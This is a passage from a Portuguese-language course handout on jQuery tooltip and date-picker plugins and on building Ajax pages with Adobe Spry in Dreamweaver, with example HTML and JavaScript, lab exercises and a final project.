Vamos ento linkar os arquivos necessrios: <script src="js/jquery.js" type="text/javascript"></script> <script src="js/jtip.js" type="text/javascript"></script>
Por fim o cdigo HTML: <div id="contentPad"> <p><strong>Roll over a question mark:</strong></p> <label style="padding-right:5px">Password</label><input name="" type="text" /><span class="formInfo"><a href="ajax.htm?width=375" class="jTip" id="one" name="Password must follow these rules:">?</a></span>
86
<br /> <br /> <label style="padding-right:5px">User ID</label><input name="" type="text" /><span class="formInfo"><a href="ajax2.htm?width=475" class="jTip" id="two" name="">?</a></span> <p><strong>Try adjusting the browser window so the links in the paragraphs below are as close to the right side of the window as possible. Roll over a link in the paragraphs below. This demonstrates how the tool tip will flip horizontally depending upon the space between the tool tip and the right side of the window. Don't worry the script also accounts for the custom widths.</strong></p> <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut <a href="ajax4.htm?width=475" class="jTip" id="six" name="Window caption or title">Tip With Caption</a> enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.</p> <p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu <a href="ajax3.htm?width=375" class="jTip" id="three">Tip No Caption</a> feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut <a href="ajax5.htm" class="jTip" id="four" name="Window caption or title">No Specified Width</a> et dolore magna aliquam erat volutpat.</p> <p><strong>The link below demonstrates a tool tip on a text link that allows for the link to accommodate an additional URL (using a query string). So that a link will functions as expect if clicked. Notice the cursor change.</strong></p> </div>
Note que no houve a necessidade de especificar uma funo em jquery, pois a mesma est inserida no arquivo jtip. Para que a dica seja exibida, basta definir o link como peretencente a classe jtip e o seu respectivo href como sendo a pgina que contem o texto da dica.
Laboratrio:
87
88
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="scripts/date.js"></script> <script type="text/javascript" src="scripts/jquery.datePicker.js"></script> <link rel="stylesheet" type="text/css" media="screen" href="styles/datePicker.css">
Inserimos o script jquery <script type="text/javascript" charset="utf-8"> $(function() { $('.date-pick').datePicker({autoFocusNextInput: true}); }); </script>
89
<form name="chooseDateForm" id="chooseDateForm" action="#"> <fieldset> <legend>Test date picker form</legend> <ol> <li> <label for="date1">Date 1:</label> <input name="date1" id="date1" class="date-pick" /> </li> <li> <label for="date2">Date 2:</label> <input name="date2" id="date2" class="date-pick" /> </li> <li> <label for="test-select">Test select:</label> <select name="test-select" id="test-select" style="width: 170px"> <option value="1">Test SELECT </option> <option value="2">Doesn't shine through</option> <option value="3">Even in IE</option> <option value="4">Yay!</option> </select> </li> </ol> </fieldset> </form>
Laboratrio: Crie um formulrio para reserva de passagens e valide se a data de sada menor que a data de retorno.
90
Unidade 7 -
Dreamweaver e o Ajax
A utilizao do Dreamweaver apenas um exemplo de ferramenta desta tecnologia, poderia ser utilizado outro editor da preferncia do usurio ou at mesmo o bloco de notas.
Seguindo o menu apresentado voc ver a apresentao dos seguintes componentes respectivamente:
91
Spry Xml Data Set: o principal componente da utilizao do Spry, nele voc ira configurar os dados e o documento XML fonte de onde estes dados sero lidos para o documento HTML que estamos confeccionando.
Voc dever definir um nome para o Dataset, container que receber os dados do arquivo XML lido. Atravs do boto BROWSE, selecione um arquivo XML, no nosso caso iremos selecionar um arquivo semelhante a estrutura apresentada abaixo: <?xml version="1.0" encoding="utf-8"?> <cidades> <cidade> <id_cidade>1</id_cidade> <nome>Alvorada</nome> </cidade> <cidade> <id_cidade>14</id_cidade>
92
Clique a seguir em Get Schema e a estrutura hierrquica do documento XML ser apresentada na janela de dialogo logo abaixo:
Nas opes abaixo voc poder selecionar o tipo de dado (Data type) que est contido dentro dos nodos principais do XML. O campo Sort responsvel pela ordenao dos dados lidos no XML, onde podemos tambm selecionar a direo de leitura (Direction) como Ascendente (Ascending) ou Descendente (Descending). Uma das opes relevantes nesta estrutura de configurao a opo Turn XML Data Caching Off, em que voc pode solicitar que o prprio script do Spry atualize a leitura dos dados do arquivo XML a cada n Segundos, evitando assim que o mesmo no seja mantido em cach e que os dados fiquem desatualizados. Aps ter selecionado as opes desejadas, clique em OK. Praticamente no modo de layout do documento nada ira ser afetado, entretanto se analisarmos o cdigo fonte do arquivo HTML notaremos algumas novidades: <script src="SpryAssets/xpath.js" type="text/javascript"></script> <script src="SpryAssets/SpryData.js" type="text/javascript"></script>
93
<script type="text/javascript"> <!-var ds1 = new Spry.Data.XMLDataSet("01.xml", "cidades/cidade"); ds1.setColumnType("id_cidade", "number"); //--> </script> Se voc observar ver que dois novos arquivos .JS esto sendo utilizados no seu arquivo, estes foram copiados automaticamente pelo Dreamweaver para o diretrio raiz onde encontra-se este documento. Ambos so necessrios para que a futura aplicao funcione, sendo estes os mantenedores dos arquivos da biblioteca Spry. Vamos agora selecionar o segundo componente da barra de itens do Spry: Spry Region: como voc j esta acostumado, quando trabalhamos com formulrios em nosso site comum utilizarmos as tags FORM dentro do nosso documento, delimitando qual ser a rea que possuir os componentes do nosso formulrio. Da mesma maneira deveremos prosseguir com a utilizao do Spry, ento clique no item mencionado, e a seguinte caixa de dialogo ser apresentada:
Aqui voc pode selecionar se ira preferir que esta regio do Spry seja atribuda uma DIV ou SPAN, logo aps clique em OK. Uma linha pontilhada em preto com o comentrio Content for Spry Region Goes Here aparecer no modo layout, sendo que todo e qualquer componente que acesse os dados dinmicos via Spry dever ser adicionado dentro desta rea. Voc pode apagar estar mensagem, e a seguir passar para o prximo passo:
94
Spry Table este item interessante, pois ser responsvel por criar uma lista de repetio com os dados que foram localizados dentro do XML dentro de uma tabela, note que ao selecionar este item, a seguinte caixa de dialogo ser exibida:
Dentre as configuraes existentes, devemos ressaltar a opo Sort Column when Header is Clicked, ou seja, ordenar as colunas conforme os cliques em seus cabealhos. Esta opo se selecionada facilita muito a vida do usurio quando tratamos de listar dados em forma de relatrios por exemplo, onde de extrema importncia a ordenao por colunas. Como voc pde observar a utilizao de arquivos XML em conjunto com novos e inmeros componentes da web esto cada vez mais aproximando o acesso a internet das funcionalidades do desktop. Por fim iremos a seguir ver outra grande utilidade dos componentes SPRY da Adobe, a transio de elementos no documento.
95
http://labs.adobe.com/technologies/spry/demos/effects/ A Adobe disponibilizou um Demo de alguns efeitos que podem ser criados com o SPRY sem a necessidade de muito conhecimento na rea de desenvolvimento. Efeitos como Grow (crescer), Shrink (encolher), Fade (esmaecer) entre outros esto disponveis para uso dentro da biblioteca Spry effects. Veja abaixo o exemplo de como aplicar um efeito de Fade usando o cdigo Spry em sua pagina: Insira os seguintes arquivos nesta exata ordem no documento HTML: <link href="effects.css" rel="stylesheet" type="text/css" /> <link href="../css/screen.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="../../includes/SpryEffects.js"></script> <script type="text/javascript" src="effects.js"></script> Dentro do corpo do seu documento voc dever atribuir um evento a uma tag de sua preferncia, como no nosso exemplo abaixo em que atribumos o efeito a um link: <a href="#" onclick="runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0, toggle: true}, '');">Fade</a>
Dentro desta sintaxe alguns parametros so passados visando configurar o efeito que ser executado no evento: runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0, toggle: true}
Onde: Fade: efeito; product Box: nome da DIV ou elemento que sofrer o efeito. Duartion: durao em milisegundos do efeito. From: de onde comea (valor em %). To: onde termina (valor em %).
96
Toggle: repetio (true = no repete, false = repete). Verifique o efeito no documento criado, e experimente aplicar os outros efeitos disponveis no site da Adobe.
Aplicando efeitos Spry pelo Dreamweaver Para aplicar este efeito pela interface do Drewamweaver, primeiramente crie um elemento novo, uma DIV por exemplo, e atribua um nome a ela: <div id="noticia"> Esta uma noticia! </div>
A seguir crie um link, e clique sobre ele: <a href=#>Clique aqui</a> Com o link selecionado no modo design, clique no menu lateral e selecione a guia TAG Behaviors Effects Appear Fade. Veja a imagem abaixo:
97
Uma caixa de dialogo ser exibida solicitando que voc aponte qual ser o elemento que receber o efeito, selecione ento a DIV NOTICIA que voc acabou de criar:
Agora clique em OK e visualize o documento no seu navegador. Pronto! De forma rpida e simples voc aplicou o efeito em um elemento sem a necessidade de mexer no cdigo.
98
Trabalho final:
Visando fixar o material visto ao longo do curso, vamos agora implementar uma soluo que aborda todo contedo visto. Projeto: interface inicial de uma intranet com contedo dinmico acessvel por Ajax. Veja a imagem a seguir e baseie-se nela para construir a arquitetura do seu projeto:
Dentre os itens que esto sendo demonstrados, as janelas de contedo devero ser arrastveis e selecionveis, e as opes de estados e cidades dos formulrios de contato devero utilizar Ajax no carregamento, evitando assim que a tela seja recarregada. No se apegue a detalhes de layout, aplique apenas as funcionalidades solicitadas.
99
100